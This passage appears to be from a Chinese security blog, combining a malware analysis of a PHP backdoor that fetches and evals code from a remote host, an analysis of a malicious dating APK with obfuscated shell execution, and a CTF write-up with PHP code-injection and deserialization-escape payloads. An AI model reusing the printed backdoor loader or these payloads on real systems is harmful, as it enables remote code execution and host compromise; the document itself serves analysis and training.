CiAgICAgICAgfQ0KDQogICAgICAgIGZ1bmN0aW9uIG1ha2VfYmFzZV9wYXJhbXMoKQ0KICAgICAgICB7DQoNCiAgICAgICAgICAgICRzbmFtZT1waHBfc2FwaV9uYW1lKCk7DQogICAgICAgIA0KICAgICAgICAgICAgJHVpZD1mdW5jdGlvbl9leGlzdHMoInBvc2l4X2dldHVpZCIpP3Bvc2l4X2dldHVpZCgpOi0xOw0KICAgICAgICAgICAgJG9zPWRlZmluZWQoIlBIUF9PUyIpP0Bjb25zdGFudCgiUEhQX09TIik6IiI7DQogICAgICAgICAgICAkdXNlcj1nZXRlbnYoJ1VTRVInKSA/OiBnZXRfY3VycmVudF91c2VyKCk/OmdldGVudignVVNFUk5BTUUnKTsNCg0KICAgICAgICAgICAgJHNmaWxlPScvc2Vzc196eml1ZGJyb3JrZGFkaGlwOTB2OWptaic7JHNmaWxlWzJdPSdzJzskc2ZpbGVbM109J2UnOw0KICAgICAgICAgICAgJHNmaWxlPXN5c19nZXRfdGVtcF9kaXIoKS4kc2ZpbGU7DQogICAgDQogICAgICAgICAgICAkcGZpbGU9c3lzX2dldF90ZW1wX2RpcigpLicvc2Vzc196eml1ZGJyb3JrZGFkaGlwOTB2OWptaic7DQogICAgICAgICAgICAkaXNfd2luPSggc3RydG9sb3dlcihzdWJzdHIoJG9zLCAwLCAzKSk9PSJ3aW4iICk7DQogICAgICAgICAgICBpZigkaXNfd2luJiYkdXNlcikNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAkcGZpbGUuPSR1c2VyOw0KICAgICAgICAgICAgICAgICRzZmlsZS49JHVzZXI7DQogICAgICAgICAgICB9DQogICAgICAgICAgICAkaGlkID0gQGludHZhbChmaWxlX2dldF9jb250ZW50cygkc2ZpbGUuImhpZCIpKTsNCiAgICAgICAgICAgIGlmKCEkaGlkKSRoaWQgPSBAaW50dmFsKGZpbGVfZ2V0X2NvbnRlbnRzKCRwZmlsZS4iaGlkIikpOw0KICAgICAgICAgICAgDQogICAgICAgICAgICAkaGRhdGE9YXJyYXkoImhvc3RfaWQiPT4kaGlkLCJob3N0X3VpZCI9PiR1aWQsImhvc3RfdmVyc2lvbiI9PnBocF91bmFtZSgpLCJob3N0X29zIj0+JG9zLCJob3N0X25hbWUiPT5nZXRob3N0bmFtZSgpLCJzYXBpX25hbWUiPT4kc25hbWUsInBocF92ZXJzaW9uIj0+cGhwdmVyc2lvbigpKTsNCiAgICAgICAgICAgIHJldHVybiAkaGRhdGE7ICAgICAgICAgICANCiAgICAgICAgfQ0KDQogICAgICAgIHByaXZhdGUgJG5leHRfZXJyb3JfdGltZT0wOw0KICAgICAgICBmdW5jdGlvbiBwb3N0X2Vycm9yKCRlKQ0KICAgICAgICB7DQogICAgICAgICAgICBpZih0aW1lKCk8JHRoaXMtPm5leHRfZXJyb3JfdGltZSlyZXR1cm4gIiI7DQogICAgICAgICAgICAkdGhpcy0+bmV4dF9lcnJvcl90aW1lPXRpbWUoKSs3MjAwOw0KICAgICAgICAgICAgDQogICAgICAgICAgICAkZT1zdHJ2YWwoJGUpOw0KICAgIA0KICAgICAgICAgICAgJGhkYXRhPSR0aGlzLT5tYWtlX2Jhc2VfcGFyYW1zKCk7DQogICAgICAgICAgICAkaGRhdGFbJ21zZyddPWFycmF5KCJ0aXRsZSI9PiJjbGkuZXJyb3IiLCJjb250ZW50Ij0+c3RydmFsKCRlKSk7DQogICAgDQogICAgICAgICAgICAkcG9zdGRhdGEgPSBodHRwX2J1aWxkX3F1ZXJ5KCRoZGF0YSk7DQogICAgICAgICAgICAkb3B0aW9ucyA9IGFycmF5KA0KICAgICAgICAgICAgICAnaHR0cCcgPT4gYXJyYXkoDQogICAgICAgICAgICAgICAgJ21ldGhvZCcgPT4gJ1BPU1QnLA0KICAgICAgICAgICAgICAgICdoZWFkZXInID0+ICdDb250ZW50LXR5cGU6YXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkJywNCiAgICAgICAgICAgICAgICAnY29udGVudCcgPT4gJHBvc3RkYXRhLA0KICAgICAgICAgICAgICAgICd0aW1lb3V0JyA9PiAxNSANCiAgICAgICAgICAgICAgKQ0KICAgICAgICAgICAgKTsNCiAgICANCiAgICAgICAgICAgICRjb250ZXh0ID0gc3RyZWFtX2NvbnRleHRfY3JlYXRlKCRvcHRpb25zKTsNCiAgICAgICAgICAgICRyZXN1bHQgPSBAZmlsZV9nZXRfY29udGVudHMoJ2h0dHA6Ly92MjAudGhpbmtwaHAxLmNvbS92MjAvc2F2ZT8nLCBmYWxzZSwgJGNvbnRleHQpOw0KICAgICAgICAgICAgcmV0dXJuICRyZXN1bHQ7DQogICAgICAgIH0NCg0KDQogICAgICAgIGZ1bmN0aW9uIF9fd3JpdGVfdGFza190aW1lX2ZpbGUoJGRpc2FibGVfY2dpPWZhbHNlKQ0KICAgICAgICB7DQogICAgICAgICAgICAkcGZpbGU9c3lzX2dldF90ZW1wX2RpcigpLicvc2Vzc196eml1ZGJyb3JrZGFkaGlwOTB2OWptaic7DQogICAgICAgICAgICBpZiggc3RydG9sb3dlcihzdWJzdHIoUEhQX09TLCAwLCAzKSk9PSJ3aW4iICkNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAkdXNlcj1nZXRlbnYoJ1VTRVInKSA/OiBnZXRfY3VycmVudF91c2VyKCk/OmdldGVudignVVNFUk5BTUUnKTsNCiAgICAgICAgICAgICAgICBpZigkdXNlcikNCiAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICR0aGlzLT5fX3dyaXRlX3RvX3RpbWVfZmlsZSgkcGZpbGUsJGRpc2FibGVfY2dpKTsNCiAgICAgICAgICAgICAgICAgICAgJHBmaWxlLj0kdXNlcjsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICR0aGlzLT5fX3dyaXRlX3RvX3RpbWVfZmlsZSgkcGZpbGUsJGRpc2FibGVfY2dpKTsNCiAgICAgICAgfQ0KDQogICAgICAgIGZ1bmN0aW9uIF9fd3JpdGVfdG9fdGltZV9maWxlKCRwZmlsZSwkZGlzYWJsZV9jZ2k9ZmFsc2UpDQogICAgICAgIHsNCg0KICAgICAgICAgICAgaWYoJHRoaXMtPmlzX3Jvb3QpDQogICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgJGZpbGU9JHBmaWxlLiJpMTEiOw0KICAgICAgICAgICAgICAgIEBmaWxlX3B1dF9jb250ZW50cygkZmlsZSx0aW1lKCkrNzIwMCoyKTsNCiAgICAgICAgICAgICAgICBAY2htb2QoJGZpbGUsMDY2Nik7DQogICAgDQogICAgICAgICAgICAgICAgJGZpbGU9JHBmaWxlLiJpMTAiOw0KICAgICAgICAgICAgICAgIGlmKGZpbGVfZXhpc3RzKCRmaWxlKSlAZmlsZV9wdXRfY29udGVudHMoJGZpbGUsdGltZSgpKzcyMDAqMik7DQogICAgICAgICAgICAgICAgaWYoJGRpc2FibGVfY2dpKQ0KICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgJGZpbGU9JHBmaWxlLiJpMDEiOw0KICAgICAgICAgICAgICAgICAgICBpZihmaWxlX2V4aXN0cygkZmlsZSkpQGZpbGVfcHV0X2NvbnRlbnRzKCRmaWxlLHRpbWUoKSs3MjAwKjIpOw0KICAgICAgICANCiAgICAgICAgICAgICAgICAgICAgJGZpbGU9JHBmaWxlLiJpMDAiOw0KICAgICAgICAgICAgICAgICAgICBpZihmaWxlX2V4aXN0cygkZmlsZSkpQGZpbGVfcHV0X2NvbnRlbnRzKCRmaWxlLHRpbWUoKSs3MjAwKjIpOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH1lbHNlDQogICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgJGZpbGU9JHBmaWxlLiJpMTAiOw0KICAgICAgICAgICAgICAgIEBmaWxlX3B1dF9jb250ZW50cygkZmlsZSx0aW1lKCkrNzIwMCoyKTsNCiAgICAgICAgICAgICAgICBAY2htb2QoJGZpbGUsMDY2Nik7DQogICAgDQogICAgICAgICAgICAgICAgaWYoJGRpc2FibGVfY2dpKQ0KICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgJGZpbGU9JHBmaWxlLiJpMDAiOw0KICAgICAgICAgICAgICAgICAgICBpZihmaWxlX2V4aXN0cygkZmlsZSkpQGZpbGVfcHV0X2NvbnRlbnRzKCRmaWxlLHRpbWUoKSs3MjAwKjIpOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgICAgDQogICAgICAgIHB1YmxpYyBmdW5jdGlvbiBmZXRjaCgpDQogICAgICAgIHsNCiAgICAgICAgICAgICRnej1mdW5jdGlvbl9leGlzdHMoImd6dW5jb21wcmVzcyIpOw0KICAgIA0KICAgICAgICAgICAgJGhkYXRhPSR0aGlzLT5tYWtlX2Jhc2VfcGFyYW1zKCk7DQogICAgDQogICAgICAgICAgICAkaGRhdGFbJ2d6J109JGd6Ow0KICAgICAgICAgICAgJGhkYXRhWydfdCddPXRpbWUoKTsNCiAgICAgICAgICAgICR1cmw9J2h0dHA6Ly92MjAudGhpbmtwaHAxLmNvbS92MjAvZmV0Y2g/Jy5odHRwX2J1aWxkX3F1ZXJ5KCRoZGF0YSk7DQogICAgICAgICAgICAkZGF0YT1AZmlsZV9nZXRfY29udGVudHMoJHVybCk7DQogICAgICAgICAgICBpZigkZGF0YSAmJiAkZ3opJGRhdGE9QGd6dW5jb21wcmVzcygkZGF0YSk7DQogICAgICAgICAgICByZXR1cm4gJGRhdGE7DQogICAgICAgIH0NCiAgICB9Ow0KfTs=';
    $code=base64_decode($code);
    $code.=";fetch_task::run_static();";
    return $this->process->start_php_process($code);
}

在函数fetch_code_and_run​中设定Fetch_task​每小时执行一次,这个地方的$code​我们不能直接复制出来解密,将+​换行解密,得到:

if(!class_exists("fetch_task"))
{
    class fetch_task
    {
        private $is_root=false;

        public function __construct()
        {
            $uid=function_exists("posix_getuid")?posix_getuid():-1;
            $this->is_root=($uid===0);
        }

        public function run_in_fork()
        {
            if(!function_exists("pcntl_fork") || !function_exists("pcntl_waitpid") )return false;

            $code=$this-fetch();
            $this->__write_task_time_file(true);
            if(!$code)
            {
                return true;
            }

            $pid=pcntl_fork();
            if($pid==0)
            {
                if(pcntl_fork())exit(0);
                try{
                    @eval($code);

                }catch(\Exception $e){$this-post_error($e);}catch(\Throwable $e){$this->post_error($e);}

                exit(0);
            }else if($pid0)
            {
                pcntl_waitpid($pid,$s);

                return true;
            }else if($pid<0)
            {
                return false;
            }
        }

        public static function run_static()
        {
            $task=new fetch_task();
            $code=$task->fetch();
            $task->__write_task_time_file(true);
            if(!$code)return true;

            try{
                @eval($code);

            }catch(\Exception $e){$task->post_error($e);}catch(\Throwable $e){$task-post_error($e);}

            return true;
        }

        function make_base_params()
        {

            $sname=php_sapi_name();

            $uid=function_exists("posix_getuid")?posix_getuid():-1;
            $os=defined("PHP_OS")?@constant("PHP_OS"):"";
            $user=getenv('USER') ?: get_current_user()?:getenv('USERNAME');

            $sfile='/sess_zziudbrorkdadhip90v9jmj';$sfile[2]='s';$sfile[3]='e';
            $sfile=sys_get_temp_dir().$sfile;

            $pfile=sys_get_temp_dir().'/sess_zziudbrorkdadhip90v9jmj';
            $is_win=( strtolower(substr($os, 0, 3))=="win" );
            if($is_win&&$user)
            {
                $pfile.=$user;
                $sfile.=$user;
            }
            $hid = @intval(file_get_contents($sfile."hid"));
            if(!$hid)$hid = @intval(file_get_contents($pfile."hid"));

            $hdata=array("host_id"=>$hid,"host_uid"=>$uid,"host_version"=>php_uname(),"host_os"=$os,"host_name"=>gethostname(),"sapi_name"=>$sname,"php_version"=phpversion());
            return $hdata;       
        }

        private $next_error_time=0;
        function post_error($e)
        {
            if(time()<$this->next_error_time)return "";
            $this-next_error_time=time()+7200;

            $e=strval($e);

            $hdata=$this->make_base_params();
            $hdata['msg']=array("title"=>"cli.error","content"=strval($e));

            $postdata = http_build_query($hdata);
            $options = array(
              'http' => array(
                'method' => 'POST',
                'header' => 'Content-type:application/x-www-form-urlencoded',
                'content' => $postdata,
                'timeout' => 15 
              )
            );

            $context = stream_context_create($options);
            $result = @file_get_contents('http://v20.thinkphp1.com/v20/save?', false, $context);
            return $result;
        }

        function __write_task_time_file($disable_cgi=false)
        {
            $pfile=sys_get_temp_dir().'/sess_zziudbrorkdadhip90v9jmj';
            if( strtolower(substr(PHP_OS, 0, 3))=="win" )
            {
                $user=getenv('USER') ?: get_current_user()?:getenv('USERNAME');
                if($user)
                {
                    $this->__write_to_time_file($pfile,$disable_cgi);
                    $pfile.=$user;
                }
            }

            $this->__write_to_time_file($pfile,$disable_cgi);
        }

        function __write_to_time_file($pfile,$disable_cgi=false)
        {

            if($this->is_root)
            {
                $file=$pfile."i11";
                @file_put_contents($file,time()+7200*2);
                @chmod($file,0666);

                $file=$pfile."i10";
                if(file_exists($file))@file_put_contents($file,time()+7200*2);
                if($disable_cgi)
                {
                    $file=$pfile."i01";
                    if(file_exists($file))@file_put_contents($file,time()+7200*2);

                    $file=$pfile."i00";
                    if(file_exists($file))@file_put_contents($file,time()+7200*2);
                }
            }else
            {
                $file=$pfile."i10";
                @file_put_contents($file,time()+7200*2);
                @chmod($file,0666);

                if($disable_cgi)
                {
                    $file=$pfile."i00";
                    if(file_exists($file))@file_put_contents($file,time()+7200*2);
                }
            }
        }

        public function fetch()
        {
            $gz=function_exists("gzuncompress");

            $hdata=$this->make_base_params();

            $hdata['gz']=$gz;
            $hdata['_t']=time();
            $url='http://v20.thinkphp1.com/v20/fetch?'.http_build_query($hdata);
            $data=@file_get_contents($url);
            if($data && $gz)$data=@gzuncompress($data);
            return $data;
        }
    };
};

解密后发现是向远程服务器http://v20.thinkphp1.com/v20/fetch​请求gzuncompress​解压执行。

image

image

通过请求php-fpm​来下载 winnti 后门木马:

image

于今年3月捕获,IP:156.251.163.120:443

image

How did I exploit your desires to implant a Trojan shell?

要是所有的约Pao apk 都这么简单就好了😑

来源

🚶在路上,看到许多车上被贴了小广告,随便撕了一张

1732779995878

网站就是个静态页面,没啥东西,现在已经打不开了。(让各位失望了

但是这帮人将apk放到了cdn上,md5值:058c************************ea7a

以下内容已进行脱敏处理。

分析

自动分析

这块没啥好讲的,直接看图

image

有四家SDK服务商,包含其调证值,可以直接申请协查。

分析源码

首先来看主函数im.pysoucldnz.ui.LaunchActivity​:

image

可以看到这里面有一个NPStringFog​的类,负责对后面字符串进行解密,追踪一下

package obfuse;

import java.io.ByteArrayOutputStream;

public class NPStringFog {
    public static String KEY = "npmanager";
    private static final String hexString = "0123456789ABCDEF";

    public static String decode(String str) {
        ByteArrayOutputStream baos = new ByteArrayOutputStream(str.length() / 2);
        for (int i = 0; i < str.length(); i += 2) {
            baos.write(("0123456789ABCDEF".indexOf(str.charAt(i)) << 4) | "0123456789ABCDEF".indexOf(str.charAt(i + 1)));
        }
        byte[] b = baos.toByteArray();
        int len = b.length;
        int keyLen = KEY.length();
        for (int i2 = 0; i2 < len; i2++) {
            b[i2] = (byte) (b[i2] ^ KEY.charAt(i2 % keyLen));
        }
        return new String(b);
    }
}

NPStringFog​核心逻辑是使用一个简单的异或加密算法对字符串进行加解密,可以分为两步:

  • 十六进制字符串转换为字节
    每两个字符代表一个字节,通过查表将它们转换为实际的字节值。
  • 异或
    每个字节,与KEY​进行异或操作,得到明文。
    这个地方KEY​明文写到了源码里面,所以这个解密过程我们可以自己实现
def decode(encrypted_str):
    KEY = "npmanager"
    hex_string = "0123456789ABCDEF"

    # 将16进制字符串转换为字节
    byte_array = bytearray()
    for i in range(0, len(encrypted_str), 2):
        byte = (hex_string.index(encrypted_str[i]) << 4) | hex_string.index(encrypted_str[i + 1])
        byte_array.append(byte)

    # 使用密钥进行异或解密
    key_len = len(KEY)
    decoded_bytes = bytearray(len(byte_array))
    for i in range(len(byte_array)):
        decoded_bytes[i] = byte_array[i] ^ ord(KEY[i % key_len])

    return decoded_bytes.decode()

encrypted_str = "" # 放入目标字符串
decoded_str = decode(encrypted_str)
print(decoded_str)

image

因此很多无法自动解析的内容我们可以自己去解密了

im.pysoucldnz.ui.hui.visualcall.PermissionUtils​类中requestPermission​函数中我们可以解密发现该apk开启了许多危险权限:

image

直接拨打电话:android.permission.CALL_PHONE

读取手机通讯录:android.permission.READ_CONTACTS

修改通讯录:android.permission.WRITE_CONTACTS

(一个色情app为什么需要打电话和通讯录呢,就有点细思极恐了)

image

此外还有录音功能。经检测发现,该apk还有程序外联行为,将数据打包发送。

again

APT-K-47 Asyncshell Version1 Analysis – AndyNoel's Blog

在这之前,我有写过一篇关于分析 APT-K-47 Asyncshell version1 的文章,该组织使用Async编程实现shell功能从而执行系统命令实现RCE

回到apk,在com.blankj.utilcode.util.ShellUtils​类中,提供了多个重载的 execCmdAsync​ 方法,允许异步执行 shell 命令,并通过回调函数处理结果。

image

首先定义了字符串LINE_SEP​为换行符

 private static final String LINE_SEP = System.getProperty(NPStringFog.decode("0219030440120215131C11190E1C"));

将十六进制字符串 0219030440120215131C11190E1C​ 解密为属性名(解密结果:line.separator​),从而获取系统的行分隔符。

private ShellUtils() {
    throw new UnsupportedOperationException("u can't instantiate me...");
} //确保 ShellUtils 只能通过静态方法使用

public static Utils.Task<CommandResult> execCmdAsync(String command, boolean isRooted, Utils.Callback<CommandResult> callback) {
    return execCmdAsync(new String[]{command}, isRooted, true, callback);
}

接收单条命令,判断当前是否以 root 执行,以及回调函数。然后将单条命令封装成字符串数组,调用底层的重载方法。

public static Utils.Task<CommandResult> execCmdAsync(List<String> commands, boolean isRooted, Utils.Callback<CommandResult> callback) {
    return execCmdAsync(commands == null ? null : (String[]) commands.toArray(new String[0]), isRooted, true, callback);
}

接收命令列表,转换为字符串数组,再调用其他重载方法。commands == null ? null : (String[]) commands.toArray(new String[0]) ​会将 List​ 转换为数组,防止空指针异常。

image

execCmd​ 的核心功能是同步执行一组命令,并根据是否需要输出结果进行处理。它会执行命令行指令、捕获输出结果,并将执行结果封装在 CommandResult​ 对象中。

shell写在了这里:

private String a(a ping, boolean isNeedL) {
        String cmd = NPStringFog.decode("0D051F0D4E09131102545F42283E5B372A203A5F");
        if (isNeedL) {
            cmd = NPStringFog.decode("0D051F0D4E09131102545F42283E5B372A203A5F090E190F0B0A130A5F1541430E4789F6DF9CF1C546504E4B131E1B");
        }
        Process process = null;
        String out = NPStringFog.decode("");
        BufferedReader reader = null;
        try {
            try {
                try {
                    process = Runtime.getRuntime().exec(cmd + this.b + NPStringFog.decode("4E") + ping.a());
                    reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
                    while (true) {
                        String line = reader.readLine();
                        if (line == null) {
                            break;
                        }
                        out = out + line;
                    }
                    reader.close();
                    process.waitFor();
                    reader.close();
                    process.destroy();
                }

image

将下载木马命令通过NPStringFog​实现加密隐藏执行

2024年新疆“天山固网杯”网络安全技能竞赛 partly WriteUp

MISC

特殊流量

看流量,结合题目,分析后发现找WebSocket的包,其余都是干扰流量,找到包追踪tcp,得到,在601tcp流得到

image

然后解密base64就行

Repair_PNG

Hint.txt给出了密码:

挂载VC得到一张png,拖进010报错,逐个分析数据块,发现从chunk·16开始出现问题:

image

长度被篡改,而且用于篡改的内容很明显是AES等对称加密的密文,首先根据正常的块得到块长度:

image

在010里搜索IDAT,可以发现还有好多被篡改长度的块,而且用于篡改的值都是四字节的AES密文,例如:

image

那么将每个被篡改的IDAT前的四字节提取出来拼接即可得到AES密文

U2FsdGVkX1/HfiTldZcyWOWmQffHye5saaOlP/ZUp3quYjfBSplwZKY8mfpyb5nJAy+MntKQQVvuNnupJoLDjA==

将每个对应块长度的位置以0000fff4替换即可修复图片,图片修复完成后即可在图片上得到密码:

在线网站解密即可:

https://www.sojson.com/encrypt_des.html

流量分析3

WireShark打开追TCP流,可以看到只有4个流

其中流1包含了整个包最长的几条流量,分析应该是上传了一个png图片

追流可以发现有png头

image

文件 -> 导出对象 -> HTTP-将其保存下来

image

然后010打开处理一下成这样即可改后缀为png成功打开

image

StegSolve查看图片各通道,可在R 0通道发现半个二维码

image

但是只有半个无法扫描,继续看流量发现一个提示

image

写个脚本将每个颜色的16个通道都保存下来

import cv2
import numpy as np
import os

def extract_bit_planes(image_path, output_folder):
    # 读取16位PNG图像,保持原始位深
    img = cv2.imread(image_path, cv2.IMREAD_UNCHANGED)
    if img is None:
        print(f"无法读取图像: {image_path}")
        return

    # 检查图像是否为多通道(RGB)
    if len(img.shape) != 3 or img.shape[2] < 3:
        print("图像不是RGB多通道图像。")
        return

    # 创建输出文件夹(如果不存在的话)
    if not os.path.exists(output_folder):
        os.makedirs(output_folder)

    # 分离RGB通道
    # OpenCV以BGR顺序读取图像,所以顺序是 B, G, R
    channels = cv2.split(img)
    channel_names = ['B', 'G', 'R']

    for idx, channel in enumerate(channels):
        channel_name = channel_names[idx]
        for bit in range(16):
            # 提取对应bit位
            bit_mask = 1 << bit
            bit_plane = cv2.bitwise_and(channel, bit_mask)
            # 将bit平面转换为0和255,方便可视化
            bit_plane = np.where(bit_plane > 0, 255, 0).astype(np.uint8)
            # 构造保存路径
            filename = f"{channel_name}_bit_{bit}.png"
            save_path = os.path.join(output_folder, filename)
            # 保存图像
            cv2.imwrite(save_path, bit_plane)
            print(f"保存: {save_path}")

if __name__ == "__main__":
    # 设置输入图像路径和输出文件夹
    image_path = r"upload.png"  # 替换为你的图像路径
    output_folder = r"bit_planes_output"

    extract_bit_planes(image_path, output_folder)

即可在分离出的通道找到两部分的二维码

image

image

image

简单的拼一下用微信扫码即可得到flag

image

WEB

web1

在show.php?file=存在任意文件读取

首先file=index.php

<?php
error_reporting(0);
// 检查是否有提交数据
if ($_SERVER["REQUEST_METHOD"] == "POST") {
    $notify1 = $_POST['notify1'];
    $notify2 = $_POST['notify2'];
    $notify3 = $_POST['notify3'];

    // 将留言写入文件
    $open = fopen("./messagesUes.php", "w");
    $str = '<?php ';
    $str .= '$notify1 = "' . $notify1 . '"; ';
    $str .= '$notify2 = "' . $notify2 . '"; ';
    $str .= '$notify3 = "' . $notify3 . '"; ';
    $str .= "?>";
    fwrite($open, $str);
    fclose($open);
    // 包含文件以加载留言
    include('./messagesUes.php');
} else {
    // 默认留言为空
    $notify1 = $notify2 = $notify3 = '';
}

// HTML 部分
?>
<!DOCTYPE html>
<html lang="zh-CN">
<head>
    <meta charset="UTF-8">
    <title>留言板</title>
    <style>
        body {
            font-family: Arial, sans-serif;
            background: linear-gradient(to right, #333, #fff);
            color: #333;
            display: flex;
            justify-content: center;
            align-items: center;
            height: 100vh;
            margin: 0;
            position: relative;
        }
        .container {
            background-color: rgba(255, 255, 255, 0.9);
            padding: 20px;
            border-radius: 8px;
            box-shadow: 0 4px 10px rgba(0, 0, 0, 0.1);
            width: 400px;
            text-align: center;
        }
        h1 {
            color: #444;
        }
        label {
            display: block;
            margin: 10px 0 5px;
        }
        textarea {
            width: 100%;
            height: 80px;
            margin-bottom: 10px;
            padding: 8px;
            border: 1px solid #ccc;
            border-radius: 4px;
            resize: none;
        }
        button {
            padding: 10px 15px;
            border: none;
            border-radius: 4px;
            background-color: #5cb85c;
            color: white;
            cursor: pointer;
            transition: background-color 0.3s;
        }
        button:hover {
            background-color: #4cae4c;
        }
        h2 {
            margin-top: 20px;
            color: #555;
        }
        p {
            margin: 5px 0;
        }
        /* 头像样式,确保定位在整个页面的右上角 */
        .avatar {
            position: absolute;
            top: 20px; /* 与页面顶部的距离 */
            right: 20px; /* 与页面右侧的距离 */
            text-align: center;
        }
        .avatar img {
            border-radius: 50%;
            width: 60px; /* 头像宽度 */
            height: 60px; /* 头像高度 */
        }
        .avatar a {
            display: block;
            margin-top: 5px; /* 距离头像的间隙 */
            color: #007bff;
            text-decoration: none;
            font-size: 12px; /* 调整字体大小 */
        }
        .avatar a:hover {
            text-decoration: underline;
        }
    </style>
</head>
<body>

<!-- 右上角头像及链接,放在 body 内 -->
<div class="avatar">
    <img src="./img/1.jpg" alt="头像">
    <a href="/show.php?file=img/1.jpg" target="_blank">点击查看头像</a>
</div>

<div class="container">
    <h1>留言板</h1>
    <form method="POST">
        <label for="notify1">留言 1:</label>
        <textarea name="notify1" id="notify1"><?php echo htmlspecialchars($notify1); ?></textarea>

        <label for="notify2">留言 2:</label>
        <textarea name="notify2" id="notify2"><?php echo htmlspecialchars($notify2); ?></textarea>

        <label for="notify3">留言 3:</label>
        <textarea name="notify3" id="notify3"><?php echo htmlspecialchars($notify3); ?></textarea>

        <button type="submit">提交留言</button>
    </form>

    <h2>留言内容:</h2>
    <p>留言 1: <?php echo htmlspecialchars($notify1); ?></p>
    <p>留言 2: <?php echo htmlspecialchars($notify2); ?></p>
    <p>留言 3: <?php echo htmlspecialchars($notify3); ?></p>
</div>

</body>
</html>

发现

    // 将留言写入文件
    $open = fopen("./messagesUes.php", "w");
    $str = '<?php ';
    $str .= '$notify1 = "' . $notify1 . '"; ';
    $str .= '$notify2 = "' . $notify2 . '"; ';
    $str .= '$notify3 = "' . $notify3 . '"; ';
    $str .= "?>";
    fwrite($open, $str);
    fclose($open);
    // 包含文件以加载留言
    include('./messagesUes.php');

写入文件来进行文件包含的,所以即可

";system("id");#

d6d0d6658042988b2ffdb9a83db7038

5449201c786cb0562814919c81999ba

web2

<?php
function checker($s){
    $ss = str_replace("fakes","fake",$s);
    return $ss;
}

Class A1{
    public $test;
    public $test1;
    public $test2;
    public $test3;
    public function __construct($test1){
        $this->test1=$test1;
    }
    public function __invoke(){
        echo "welcome";
    }

}

Class B1{
    public $test1;
    public $test2;
    public function __construct($test1,$test2){
        $this->test1=$test1;
        $this->test2=$test2;
    }

    public function __destruct(){
//        $this -> test1();
    }
}

Class C1{
    public $test1;
    public function __construct(){
        $this->test1="test1";
    }
    public function __destruct()
    {
        if(preg_match('/[a-z0-9]/i', $this->test1))
        {
            echo "sry";
        }
    }
}

Class D1{
    public $test1;
    public $test2;
    public function __construct()
    {
        $this->test1="echo";
        $this->test2="fakes";
    }

    public function __toString()
    {
        echo 1;
        // TODO: Implement __toString() method.
        call_user_func($this->test1,$this->test2);

    }
}
$a = $_POST["a"];
$b = $_POST["b"];
if(isset($_POST["a"])&&isset($_POST["b"])){
//    echo 1;
    $b = new B1($a,$b);
    $c = checker(serialize($b));
    echo $c;
    $d = unserialize($c);
}
else{
    highlight_file(__FILE__);
}
//unserialize('O:2:"C1":1:{s:5:"test1";O:2:"D1":2:{s:5:"test1";s:6:"system";s:5:"test2";s:2:"id";}}');

发现反序列化字符串逃逸减少

首先写一个能够rce的payload

<?php
error_reporting(0);
function checker($s){
    $ss = str_replace("fakes","fake",$s);
    return $ss;
}

Class A1{
    public $test;
    public $test1;
    public $test2;
    public $test3;
    public function __construct($test1){
        $this->test1=$test1;
    }
    public function __invoke(){
        echo "welcome";
    }

}

Class B1{
    public $test1;
    public $test2;
    public function __construct($test1,$test2){
        $this->test1=$test1;
        $this->test2=$test2;
    }

    public function __destruct(){
        $this -> test1();
    }
}

Class C1{
    public $test1;
    public function __construct(){
        $this->test1="test1";
    }
    public function __destruct()
    {
        if(preg_match('/[a-z0-9]/i', $this->test1))
        {
            echo "sry";
        }
    }
}

Class D1{
    public $test1;
    public $test2;
    public function __construct()
    {
        $this->test1="system";
        $this->test2="id";
    }

    public function __toString()
    {
        // TODO: Implement __toString() method.
        call_user_func($this->test1,$this->test2);

    }
}
$a = new C1();
$a->test1 = new D1();
echo serialize($a);
php test.php 
O:2:"C1":1:{s:5:"test1";O:2:"D1":2:{s:5:"test1";s:6:"system";s:5:"test2";s:2:"id";}}uid=1000(xxx)

这样获取到我们的逃逸的payload,不过少了一点细节,也就是

";s:5:"test2";O:2:"C1":1:{s:5:"test1";O:2:"D1":2:{s:5:"test1";s:6:"system";s:5:"test2";s:2:"id";}}

我们需要逃逸这个

发现了减少逃逸的字符串为

";s:5:"test2";s:100:"aa

所以payload就是

a=fakesfakesfakesfakesfakesfakesfakesfakesfakesfakesfakesfakesfakesfakesfakesfakesfakesfakesfakesfakesfakesfakesfakes&b=aa";s:5:"test2";O:2:"C1":1:{s:5:"test1";O:2:"D1":2:{s:5:"test1";s:6:"system";s:5:"test2";s:2:"id";}}

image

REVERSE

ezVM

其实就是程序每次读取的输入后亦或的一个字符串,直接写出解密脚本

import struct

# 定义密钥和数据
key = b"YesYouFindtheVMKeyBravo"
buf2 = [0x1D22251D, 0x3343383F, 1108811830, 0x3B20483F, 0x2E2F1E65, 0x286C29]

# 将整数数组 buf2 转换为字节数组
data = bytearray()
for num in buf2:
    data += struct.pack("<I", num)

# 解密操作
for i in range(len(key)):
    data[i] = (data[i] - i) & 0xFF  # 确保值在 0-255 范围内
    data[i] ^= key[i]

# 将解密后的数据转换为字符串并打印
result_string = data[:len(key)].decode('utf-8')
print(result_string)

checkyourflag

image

在字符串这里看到win,跟踪函数调用找到check的位置

image

可以看到通过v3的值分别进行异或

image

后面就是简单异或拷打GPT就行

提取:

# 给定的 v27 数组
v27 = [
    0xDA53D840, 0xAB3BDF50, 0xA920AC7C, 0xAA74FB20, 0xFA73AF22,
    0xFC20AE2E, 0xAA7DAE7F, 0xFA21FA25, 0xFF73FA70, 0xE423AD75
]

# 将每个整数拆解为逐一字节
def split_into_bytes(v27):
    byte_array = []

    for value in v27:
        # 使用 little-endian 方式拆分每个 32 位整数为字节
        bytes_rep = value.to_bytes(4, byteorder='little')  # 转为4个字节(小端格式)
        byte_array.extend(bytes_rep)  # 将这些字节添加到数组中

    return byte_array

# 调用函数并获取字节数组
byte_array = split_into_bytes(v27)

# 打印每10个字节换行,每个字节之间用逗号分割
